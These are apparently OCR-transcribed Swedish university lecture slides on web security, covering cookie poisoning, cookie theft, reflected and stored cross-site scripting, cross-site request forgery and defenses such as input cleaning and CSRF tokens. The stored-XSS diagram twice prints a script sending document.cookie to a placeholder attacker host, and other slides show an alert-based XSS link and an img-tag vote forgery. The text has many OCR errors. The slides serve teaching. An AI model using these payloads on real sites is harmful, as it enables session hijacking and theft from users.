Mer websakerhet
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Attackmetoder

Cookie poisoning
Cookiestold
Cross-site scripting

Cross-site request forgery
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Cookie poisoning

"Session hijacking"

Session-IDs skapas av servern och skickas med ett set
cookie-anrop

Angripare modifierar cookie-data for att férsdka Oka
rattigheter, "cookie poisoning"

Session IDs (SIDs) skall vara svara att férutse, och cookies
skall lagras sakert

Cookies avlyssnas eller sétts "brute force", chansa pa troliga
varden.
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Manipulera cookies

Cookies ligger pa din dator, sa du kan avkoda och andra.
Cookies kodas ofta med base64

Data kodat i base64 sparas enbart som ASCII-text. Detta gbr
att det inte gar att stoppa in "farliga" tecken pa fel platser.

Exempel: Hello world! blir SGVsbG8sIHdvcemxkISA=

Dock: Betrakta inte detta som kryptering. Det ar en kodning.

Mer om kryptering senare.
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Dalig sessionhantering Sessions styrs

av cookies

Farliga scenarier:

+ Anvandarinformation (fér inloggning) lagras med otillracklig
Kryptering

« Anvandarinformation kan gissas och andras pa grund av
dalig kontohantering

+ Tillampningen anvander inte saker 6verforing (som HTTPs
eller sFTP).

« Sessionsparametrar kan dndras manuellt av anvandaren
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Cookiestold

Cookies skall bara skickas till matchande domén
Det ar ett fall av "same-origin policies"
Scripts lever ocksa under dessa regler

Tricket ar att fa ditt script inkluderat i svaret fran en betrodd
kalla (som ger dig cookien)

Tekniken kallas cross-site scripting
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script i en websida

Cross-site scripting, XSS
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Malicious script sends o

victim’s private data
to attacker
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o Attacker sends script-injected
link to victim (e.g. email scam,
Attacker & b

[

Website
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@

e

Victim's browser loads
legitimate site, but also
executes malicious script

Victim

Victim clicks on

link and requests
legitimate website

Detta ar en typ av tekniker som anvands for att fa angriparens
scripts inkluderade i sidor fran betrodda servrar

Det handlar om att hitta en 6ppning dar man kan skicka in ett

Script i "oskyldigt"
textfalt som kors av
misstag

Offret luras att skicka
angriparens script till
servern
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E-post: Besok snilla hemsidan LANK + script
aHROcHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/

‘ dj1kUXc0dzIXZ1hjuQ==
o7

Attacker sends script-injected
link to victim (e.g. email scam)

L 4

Attacker Victim

e Victim clicks on
link and requests

legitimate website

\ Klart jag gar till
. ‘ snalla hemsidan!
Malicious script sends
victim's private data
to attacker
scriptet skickar data Victim's browser loads
som fiskades ut med legitimate site, but also

anvindarens rittigheter Website executes malicious script

scriptet kdrs (med anvandarens rattigheter) utan att det
méarks aHROcHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/
dj1kUXc0dzIXZ1hjuQ==
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Cross-site scripting, XSS

Lankar med en massa base64 pahakat ar farligt! Du kor ett
script som du inte vet vad det ar.

Min weblasare vagrar 6ppna sadana lankar av sdkerhetsskal.

Gissa vilka websidor som gor sadant hela tiden?
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Script i "oskyldigt" tillfalligt
textfalt som kors av

Returnerade (non-persistent) XSS misstag for att det ekas

Det finns flera tekniker, exempel:

<A HREF="http://trusted.com/comment.cgi
mycomment=<SCRIPT alert(’XSS!’)></
SCRIPT>">Clickhere</A>

Om sidan med kommentaren ekar argumentet sa exekveras scriptet
av kommentarsidan, med de réttigheter sidor har pa den betrodda
servern.

Inte bara kommentarssidor, men aven sokmotorer, 404-sidor...
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Returnerade (non-persistent) XSS

Angriparen skriver

in ett script i ett
textfalt

» Det sparas inte men
ekas pa sidan och
exekveras da med

- serverns rattigheter

Data fiskas ut och
returneras

Attack mot serverns
information!
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Script i "oskyldig" text som
kérs av misstag nar det

Lagrade (persistent) XSS visas fér andra anvindare

| en lagrad XSS-attack sparar angriparen sitt script pa den
betrodda servern, till exempel pa en diskussionssida.

Attacker POST http://website/post-comment

Website

Website's Database

Attacker's Browser <script>...</script> latestComment: <script>window.location="http://attacker/

- ?cookie="+document.cookie</script>
Attacker's Server — ;
Website's Response Script
print "<html>

print "Latest comment:”
print qatabase:latest(oment

print "</html>
n GET http://attacker/?cookie=sensitive-data

GET http://website/latest-comment

Victim's Browser

Website's Response to Victim 200 OK

<html>
Latest comment:

<script>

window. location="http://attacker/?cookie="+document.cookie
<[script>

</htal>
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Angriparen skriver in ett script i ett Scriptet lagras som en
textfalt som sparas pa servern. kommentar. Offret 6ppnar sidan.

Website

Attacker POST http://website/post-comment

Website's Database

<script>...</script> latestComment: <script>window.location="http://attacker/
2cookie="+document.cookie</script>

Attacker's Browser

Attacker's Server

Website's Response Script
print "<html>

print "Latest comment:”
print database.latestComment

print "</html>"
n GET http://attacker/?cookie=sensitive-data

Offret visar
kommentaren

Scriptet skickar data till angriparen.

Victim's Browser

Website's Response to Victim GET http://website/latest-comment 200 OK

<html>
Latest comment:

<script>
window.location="http://attacker/?cookie="+document.cookie
</script>

</html>

varpa scriptet kérs
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Forsvar mot XSS

Sténg av scripting (eller snarare, tillat enbart fran betrodda
platser, i.e. anvand Noscript)

Rengor indata val!
Forbattra autenticeringen

Forbattra atkomstkontrollen, sa det blir svarare att stjéla
data genom same-origin-policy
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Till synes legitim men falsk
begédran som skickas fran
anvandare som far gora
transaktionen

Cross-Site Request Forgery (CSRF)

Motsatsen till en XSS-attack

En XSS-attack anvander klientens fértroende for att exekvera
kommandon hos klienten med serverns réttigheter

En CSRF-attack anvéander serverns fértroende hos klienten fér att
lura klienten att begéra utférande av kommandon pa servern med
klientens rattigheter

Perpetrator embeds the Avisitor clicks on the

equestl to a hyperlink and Websne Visitor li k nadvertently
ends it to visitors who may sending the request to
be logged into the site the website

Website validates request and
tran: sfe s funds from the visitor's

unt to the perpetrator
I

Website
Perpetrator

Perpetrator forges a request for
afund transfer to a website

01001001 01000011 01000111




Cross-Site Request Forgery (CSRF)

E-post: Besok snilla hemsidan LANK + script
aHROcHM6Ly93d3cueW91dHViZS5jb20vd2F0

Y2g/dj1kUXc0dzIXZ1hjuQ== .
Perpetrator embeds the —

request into a hyperlink and Website Visitor

sends it to visitors who may
be logged into the site

Website validates request and

account to the perpetrator

transfers funds from the visitor's

Klick pa lanken!

Scriptet kérs (med anvdndarens
rattigheter) utan att det méarks och
skickar begéran
aHROcHM6Ly93d3cueW91dHViZS5jb
20vd2F0Y2g/dj1kUXc0dzIXZ1hjuQ==

A visitor clicks on the
link, inadvertently
sending the request to
the website

<
~
begaran beddms vara

Perpetrator

Perpetrator forges a request for
a fund transfer to a website

Website

akta och pengar 6verfors
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Vanliga CSRF-scenarier

Tillagda sidor som utfér (o6nskade) garningar a klientens vagnar

En oarlig handlare som anvander PayPal kan normalt inte se
kreditkortshnummer hos anvandaren

Handlaren later kunden logga in pa PayPal, och re-autenticerar
sedan sig sjalv

Om kunden nu for in ett kreditkortsnummer sa kan handlaren se det.
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CSRF: Exempel

Vi vill skapa en websida dar autenticerade anvandare kan rosta:

http://mysite.com/vote/25

Problem: En angripare lagger en lank i en bildfil: <img
src="http://mysite.com/vote/30" />

Anvandare som 6ppar denna HTML-kod réstar nu pa alternativ 30!
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CSRF i labbarna

| labbarna kommer ni att géra CSRF mot varandra.
Det finns en rdknare som ni skall rakna upp....
...men du far inte 6ka din egen raknare.

| stallet skall du gora en attackkod mot kurskamrater. Nar de
besOker websidan kors din kod, som Okar din réknare.
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Forsvar mot CSRF

. _ Din rost kan bara géras
Nar du skapar en sida fran din session, som har

ditt ID-nummer
Skapa ett unikt element (token)
Lagra det i anvandarens session
Placera det i lankarna fran sidan:

http://mysite.com/vote/30?2token=AZERTYUHQNWGST
Nar rostning sker

- testa om elementet finns pa URLen
* testa om det finns i anvandarens session

Om inte, rakna inte rosten.
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CSRF-férsvar, grundprincip

Tokens har kort livslangd och ar svara att gissa

Detta ger angriparen ett fénster pa nagra fa minuter for att
kodinjektionen skall vara giltig

Angriparen maste gissa bral!

Angriparen maste skapa unika websidor for varje anvéandare!
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Validera osakra data

Allt som skickas till servern kan manipuleras!
Man kan inte lita pa weblasaren!

Dalig validering: Exempel
En webtillampning tillater enbart siffror att skrivas

Backend-programmet kraschar om den far bokstaver

JavaScript-validering sékrar korrekt format
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Validera osakra data

Allt som skickas till servern kan manipuleras!
Man kan inte lita pa weblasaren!
Dalig validering: Exempel
En webtillampning tillater enbart siffror att skrivas
Backend-programmet kraschar om den far bokstaver

JavaScript-validering sakrar korrekt format ...hoppas vi.

Angriparen kan antingen stanga av JavaScript eller anvéanda
en proxy.
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Lat det komplicerat?

| "lessons" i labbsystemet finns exempel pa manga
av dessa attacker inklusive CSRF och XSS.

Gor dem for att fa en kansla for hur varje attacktyp
kan fungera.
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